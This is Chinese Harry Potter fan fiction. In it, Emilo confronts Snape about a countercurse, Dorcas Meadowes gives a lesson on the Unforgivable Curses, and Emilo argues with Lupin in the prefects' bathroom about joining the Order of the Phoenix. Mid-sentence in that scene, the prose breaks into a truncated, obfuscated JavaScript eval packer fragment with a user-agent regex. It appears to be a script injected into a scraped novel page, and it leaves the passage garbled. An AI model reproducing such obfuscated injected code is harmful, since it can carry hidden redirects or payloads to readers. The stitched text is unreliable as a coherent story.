西弗勒斯猛地停步,转过身,黑色的长袍划出一个凌厉的弧度,脸上写满了不耐和阴郁:“别多管闲事!德蒙特!”他压低声音,带着警告的意味,“你该很清楚我以后会是什么人,会站在哪一边。”他试图甩开埃米洛。 但埃米洛的手更快,也更用力地抓住了他的手腕。那力道让斯内普吃了一惊,他没想到这个看似瘦削的格兰芬多有这么大的力气。 “你会设计出反咒的,是么?”埃米洛的眼睛紧盯着斯内普,里面有一种近乎笃定的审视和紧迫的逼迫,“针对那个……危险的咒语。”他没有明说,但两人都心知肚明指的是什么—— “……”西弗勒斯的嘴唇抿成一条苍白的细线,黑眼睛里瞬间翻涌起复杂的情绪:怨恨、屈辱、被看穿的恼怒,还有一丝……挣扎。 “说话!” 埃米洛不自觉地提高了音量,在地窖的寂静中显得格外突兀,抓住西弗勒斯手腕的手指收得更紧。 “这关你什么事呢,德蒙特?”斯内普的声音像毒蛇的嘶嘶声,充满了尖锐的嘲讽和自暴自弃,“世道已经烂透了,自顾不暇!少在这里扮演圣人!”他用力挣扎了一下,试图挣脱那只铁钳般的手,“而且,你这迟来的‘善意’和‘愧疚’,不觉得虚伪吗?晚了!” “对不起。”埃米洛飞快地说。虽然从头到尾,他都没有真正对不起他的地方,但很多时候,什么都没有发生难道就不存在伤害了么? 西弗勒斯眼中的怨恨被这句突如其来的道歉冲散了些许,取而代之的是更深的困惑和一种被冒犯的别扭感。他眉头紧锁,用尽全身力气猛地一拽,终于将自己的手抽了出来,并故意带得埃米洛一个踉跄。 “离我远点,格兰芬多。”斯内普丢下这句冰冷的话,像一道黑色的飓风,迅速消失在昏暗的地窖走廊深处。 大约两周后,埃米洛在独自复习魔药笔记时。一行锋利、锐利、仿佛用刀尖刻上去般的字迹,突兀地出现在空白处。那字迹带着一种压抑的愤怒和冰冷的效率感,每一个字母都尖锐极了: “反咒:速速愈合(Vulnera Sanentur)。” 旁边极其简略地标注了手势要点。 埃米洛的手指轻轻拂过那行字迹,墨迹甚至微微凹陷了羊皮纸。他没有抬头,只是静静地看着。紧绷着的肩膀放松下来。 11.一个湿手印 二月的春风已至,霍格沃茨城堡外的冰雪边缘开始消融,露出底下深色的泥土和枯草,但寒意依旧凛冽,像一层无形的冰壳包裹着人心。城堡内的紧张气氛并未因季节的转换而缓和,反而如同地窖里酝酿的魔药,越发浓稠压抑。 “今天我们来讲不可饶恕咒。”站在讲台上的声音干脆利落,瞬间吸引了所有学生的注意力。今年的高阶黑魔法防御课老师是多卡斯·梅多斯,她是一位留着利落的一刀切齐耳短发的飒爽女性,几缕不羁的碎发垂在额前,经常穿着方便行动的深色傲罗制服长袍,外面随意披着一件同样深色的、边缘磨损的旅行斗篷——那是真正经历过风雨的痕迹。这位早他们五岁毕业的前辈身上没有半分学院教师的学究气,举手投足间带着一种久经沙场的老练和一种不容置疑的锐利。 不同于上学期那位被揭露是食死徒假扮的卡洛教授,梅多斯非常受格兰芬多学生们欢迎。即使是那些骨子里带着傲慢的斯莱特林,也不得不暗地里承认这位年轻的女巫“有两把刷子”——她的魔咒精准而强大,讲解深入浅出,更重要的是,她身上那股直面黑暗的勇气和坦荡,在如今人人自危的环境下,直白的像一道刺破阴霾的光。 “谁来说说不可饶恕咒有哪些?”梅多斯锐利的目光扫过教室。 钻心咒,夺魂咒,阿瓦达索命……埃米洛在心里无声地报出答案,指尖无意识地捻着课本粗糙的页角。他强迫自己将视线聚焦在讲台上,试图用理性压下翻涌的情绪。 “有谁能说说这些咒语为什么邪恶呢?” “波特,你来。”梅多斯点了詹姆,他把手举得很高。 “因为不可饶恕咒的发动需要极强烈的恶念!”詹姆站起来,声音响亮而清晰,带着对黑白分明的笃定,“只有那些心里充满恶意,恨意滔天的人,才能成功施展!它们是邪恶的象征!”他瞥了一眼斯莱特林的方向,意有所指。 “是这样,没错。”梅多斯点点头,脸上没什么表情。她魔杖轻挥,一只原本在讲台上爬行的蜘蛛瞬间变得有脸盆那么大,清晰地呈现在所有学生面前:“理论如此。但现实……”她话音未落,杖尖猛地指向那只巨型蜘蛛,清晰而冷酷地吐出咒语:“阿瓦达索命!” 一道刺目的绿光激射而出,精准地打在蜘蛛的一条前肢上。没有惊天动地的爆炸,只有一声令人牙酸的“咔嚓”脆响。那条腿瞬间变得焦黑、扭曲,无力地耷拉下来。巨大的蜘蛛痛苦地蜷缩了一下,剩下的七条腿挣扎着,试图继续爬行,动作笨拙而艰难。前排的几个女生捂住了嘴,发出一声短促的尖叫。 “看到了吗?”梅多斯的声音依旧平静,却带着一种穿透人心的力量,“大部分人,即使怀着杀意,也只能做到这种程度——重伤,致残,带来无尽的痛苦,但未必能瞬间夺命。强大的魔力固然重要,但真正驱动不可饶恕咒达到其恐怖威力的,是施咒者灵魂深处那纯粹而极致的恶意。”她微微弯了一下嘴角,那笑容里没有丝毫暖意,只有冰冷的讽刺,“这也是为什么食死徒——”她毫不避讳地念出这个令人闻风丧胆的名字,教室里瞬间死寂,“——邪恶的原因,并不仅仅在于他们杀人。” 她的目光缓缓扫过每一张年轻的面孔,那些或惊恐、或愤怒、或沉思的脸。“一个已经被证实的结论是——每一次成功施展不可饶恕咒,每一次用这种源于纯粹恶意的力量去折磨、去控制、去剥夺一个无辜的生命,都是在以另外一种更隐蔽、更彻底的方式杀死自己。” 她顿了顿,话题似乎有些偏移,但每个人都听出了其中的深意:“我知道有些同学,或许因为家庭,或许因为某些经历,会对麻瓜、对麻瓜出身者抱有根深蒂固的偏见……就我个人而言,这种‘非我族类,其心必异’的心态,是人类历史上最古老、最难消除的观念之一。保密法的存在确实也确实损害了一些巫师家族的利益,尤其是那些与麻瓜世界联系紧密的。这些矛盾是真实的。” “但是,各位,”她的声音陡然拔高,带着一种近乎质问的力量,“请你们仔细思考一下自己!为了一直存在的‘血统纯净’、为了维护某种虚幻的‘优越感’、或者仅仅是为了在乱世中‘站对队伍’以求自保,就放任自己滑向那个深渊,让自己变成一个随时随地心怀恶意、以伤害他人为乐、甚至以此为荣的疯子……到底值不值得?这真的是你们想要的未来吗?这真的是‘好’的吗?即使你们最终赢得了所谓的‘胜利’,代价是变成一个自己都憎恶的怪物,这种胜利又有何意义?” 底下的嗡嗡议论声瞬间变得激烈起来,斯莱特林那边传来压抑的冷哼和反驳的低语,格兰芬多则大多表情激动,用力点头。拉文克劳和赫奇帕奇的学生们则陷入了更深的思考,脸上写满忧虑和挣扎。 多卡斯·梅多斯没有急于平息议论,她静静地等待了几秒钟,让那些尖锐的问题在每个人心中回荡、碰撞。然后,她再次拍了拍手,清脆的响声让教室重新安静下来。 “话题转回来,”她的语气恢复了教学时的冷静,“我们开始学习对抗夺魂咒的方法。这是你们在当下环境中,最可能遭遇、也最需要掌握的防御技能。理论部分在课本第127页,实践部分……”她环视一周,“需要强大的意志力和清晰的自我认知。课后有任何疑问,或者……想讨论更深层次问题的,欢迎随时来我的办公室。” …… 那节黑魔法防御课之后,“凤凰社”这个名字,开始在霍格沃茨隐秘而迅速地传播开来。它被描述为一个由邓布利多秘密领导、对抗神秘人和食死徒的地下组织。传言中,它的选拔极其严苛,成员身份高度保密,执行着最危险的任务。埃米洛在魔法部法律执行司实习期间,曾在积满灰尘的卷宗角落里瞥见过这个名字——和食死徒一起,被列为“非法集结的武装团体”,其领导者矛头直指邓布利多,只是缺乏确凿证据。 “我们都加入了!”一天傍晚,埃米洛刚走到宿舍的门前,就听到宿舍门内传来詹姆急切的声音,“这有什么好考虑的?多卡斯说得还不够清楚吗?现在正是需要人手的时候!” “我需要再思考一下……詹姆。”这是彼得的声音,比平时更细弱,带着明显的犹豫和不安。 “思考?彼得!外面天天都在死人!对角巷、霍格莫德、甚至麻瓜的街道……我们难道就躲在学校里假装看不见吗?”小天狼星在的声音带着烦躁。 埃米洛的脚步停在门外,厚重的橡木门板并未完全隔绝里面的对话。他正打算开锁,门内的声音却因他的靠近而骤然停止,陷入一种突兀的的沉默。他深吸一口气,面无表情的推开了门。 宿舍里的空气仿佛凝固了。詹姆站在中间,双手叉腰,脸上还带着未消的激动红晕;小天狼星眼神却锐利地扫向门口;彼得坐在他自己的床沿,双手紧张地绞在一起,低着头;莱姆斯则站在窗边,背对着门口,似乎在看着窗外暮色中的城堡。 “晚上好,埃米洛。”莱姆斯最先转过身,打破了沉寂,他的声音一如既往的温和:“你今天怎么这么早回来了?图书馆闭馆了?” “墨水用没了。”埃米洛简短地回答,径直走向自己的书桌,拉开抽屉翻找。他能感觉到另外三双眼睛落在自己背上,宿舍里弥漫着一种凝滞感,刚才的话题像一团无形的烟雾,悬在半空。 他找到了墨水瓶,握在手里,冰凉的玻璃触感让他略微定神。“你们继续,”他背对着他们,语气平淡无波,仿佛刚才的对话从未发生过,“不用管我。” 虽然他这么说,但这个关于“凤凰社”的话题,就像被强行按下的暂停键,再也无法自然地继续下去。 埃米洛拿起毛巾和换洗衣物,决定离开。走到门口时,他听见身后传来脚步声。莱姆斯跟了上来。 “……你难道准备跟我一起洗么?”埃米洛在通往级长浴室的走廊拐角停下,转身看着莱姆斯。 莱姆斯没有笑,他的表情很认真,带着一种温和的坚持。石洞在埃米洛报出口令后无声地滑开,露出里面奢华宽敞、水汽氤氲的空间。埃米洛径直走进去,开始脱去厚重的校袍和毛衣。 温热潮湿的空气包裹上来,带着香精的淡淡芬芳。埃米洛将衣物整齐地叠放在干燥的石凳上。大理石雕刻的美人鱼雕像口中吐出汩汩热水,蒸汽模糊了精致的马赛克壁画。 “埃米洛……”莱姆斯的声音在水汽蒸腾中显得有些模糊,他站在池边,没有下水,似乎在斟酌词句,“……其实詹姆也是想邀请你的。”他终于艰难地开了口,打破了只有水声的寂静。 埃米洛的动作没有丝毫停顿,他踏入温热的水中,舒适的温度让他紧绷的神经稍微松弛了一瞬。 “我们都知道了你家里的事……现在的情况有多糟糕,你比我们更清楚,你在魔法部实习过,亲眼见过……”莱姆斯的声音带着诚恳的忧虑,“现在需要有人站出来,跟……跟他们做斗争。凤凰社,它或许是非法的,但邓布利多在领导它!这不会影响你将来的职业规划,社里……社里是有魔法部的傲罗的,像多卡斯那样的!他们都在做正确的事!” 埃米洛仿佛没听见一般,整个人沉入温暖的水底。水流包裹着他,隔绝了声音,带来片刻的安宁。几秒钟后,他猛地浮上水面,带起一片水花。他用力抹了一把脸,将湿漉漉的黑发全部向后撩去,露出光洁的额头和那双过于清醒的灰蓝色眼睛。水珠顺着他棱角分明的下颌线滚落。 “不是詹姆想邀请我吧。”埃米洛的声音穿透水雾,清晰而锐利,像一把手术刀,精准地剖开了莱姆斯话语下的真实意图。他直视着岸上好友那双温和的、此刻却充满挣扎的棕色眼睛。 “你其实也对凤凰社这种非法组织有所怀疑,有所顾虑,对不对?”他顿了顿,不给莱姆斯反驳的机会,继续冷静地分析,“詹姆天真,相信正义必胜,热血上头就想冲锋陷阵。布莱克……”他提到那个姓氏时,语气没有任何波澜,“他骨子里有毁灭的倾向,对抗食死徒对他而言可能更像一场刺激的冒险,或者一场向家族宣战的仪式。彼得……”埃米洛的视线似乎穿过莱姆斯,看向虚空,“他基本上听詹姆的,没有自己的主意,只想依附强者获得安全感。” 他的目光重新聚焦在莱姆斯脸上:“而你,你心中有真正的正义感,有善良的本性。而且……”他毫不客气的陈述了一个心照不宣的事实,“你狼人的身份让你注定无法进入圣芒戈或者魔法部这种有着严格审查的官方部门。凤凰社,对你而言,几乎是唯一能让你发挥能力、证明价值、并且被‘自己人’接纳的地方,是你最好的选择,甚至是唯一的选择。” “那你在顾虑什么呢?”埃米洛步步紧逼,灰蓝色的眼眸在蒸汽中显得格外深邃。 莱姆斯的身体明显僵硬了一下,手指无意识地攥紧了裤缝。 “让我猜猜……是因为狼人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“逃跑?懦夫?”埃米洛嗤笑一声,水波随着他的动作荡漾开,“不加入凤凰社就不是格兰芬多了?这真是你心里的‘勇敢’告诉你的吗?莱姆斯,这是你自己的想法?我猜只有一部分吧。詹姆·波特那种无时无刻不在追求刺激的英雄主义和布莱克那种必须区分出来黑白的偏执在影响了你。” “你把自己放在友情的低位上,所以潜移默化地萌生了这种‘不加入就是背叛、就是懦弱’的观念。” 卢平彻底顿住了。埃米洛的话像一把重锤,狠狠砸在他一直试图回避的某个点上。他张了张嘴,心里有一个声音在大叫:不!不是!纯血主义就是错误的!你快反驳他!但他却发现自己说不出话来。 詹姆那充满感染力的热情,对朋友近乎霸道的要求,以及对“掠夺者”这个小团体无条件的忠诚……这些确实像空气一样包裹着他,影响着他。他依赖这份友情带来的温暖和归属感,以至于有时会模糊了自己的该有的自尊和正义……就像去年在黑湖,他应该,应该制止他们的…… 他感觉到一阵痛苦。 “我不会加入凤凰社的。”埃米洛的声音在空旷的浴室里带着回音。“你发现了么?社会从来就不是非黑即白的,所以我们也不能用这种思想去战斗,去站队。假使凤凰社赢了,然后呢?”他抛出尖锐的问题,“大家开始对斯莱特林的纯血家族进行肃清?像他们对待麻种巫师一样?现在喊着解放麻种巫师,赢得胜利后,下一步是不是要解放家养小精灵?再然后呢?压迫无处不在,区别只在于形式和对象。”他深吸一口气,温热潮湿的空气吸入肺腑,却带着一丝沉重的凉意,“格兰芬多总是在为这些……‘正义’而斗争,热血沸腾,前赴后继。但结果往往是旧的压迫被打破,新的枷锁又被铸造出来,循环往复……” “可这些都是对的。”莱姆斯说道:“不应该,埃米洛,你明明之前也觉得这些争斗是对的……” “我现在不这么认为了。更高效的社会机器才是对的。更明智、更务实、更懂得平衡与制衡的领导人才是对的。合理的法律……让对的人,坐到真正适合他们能力、并且能约束其权力的位置上。自上而下的变革,才能带来真正的秩序,减少无谓的流血。” “邓布利多会是那个人!”莱姆斯急切地打断他,语气中带着不容置疑的信仰,“他有这个智慧和力量!” “也许是,也许不是。”埃米洛毫不退让:“他如果想要是,他早就是了。为什么他前两年拒绝了魔法部长的职务呢?也许他自己都没有信心去驾驭那个庞大而腐朽的官僚机器,也许他更愿意做一个超然的‘导师’,在幕后操纵棋子……谁知道呢?”他摇了摇头,“把希望完全寄托在一个人的‘对’上,本身就是最大的冒险。” 人鱼的歌声变得哀怨起来。 浴室中回荡着莱姆斯一声沉重的叹息,饱含着无奈和一种深刻的悲哀:“埃米洛……你不是不相信凤凰社,不愿意相信任何人?”句子是问句,但语气是肯定的。 “每个人都是,而且我相信过,那是世界上最脆弱的东西。”埃米洛从温暖的水中猛地站起身,带起哗啦一片水声。水珠顺着他年轻的身体线条滚落。他站在及腰深的水里,居高临下地看着蹲坐在池边的莱姆斯,眼神平静无波:“不要轻易把自己放在一个需要不断被他人考量‘信任’的位置上,那太危险了。对你尤其是这样。” 他迈出浴池,带起一阵水花。他没有再看莱姆斯,径直走向放毛巾的石凳。只是在经过莱姆斯身边时,用湿漉漉的手拍了拍莱姆斯的肩膀,留下一个冰冷而清晰的手印。一个无声的提醒。然后他裹上毛巾,头也不回地走进了更衣隔间,留下狼人独自一人迷茫而沮丧。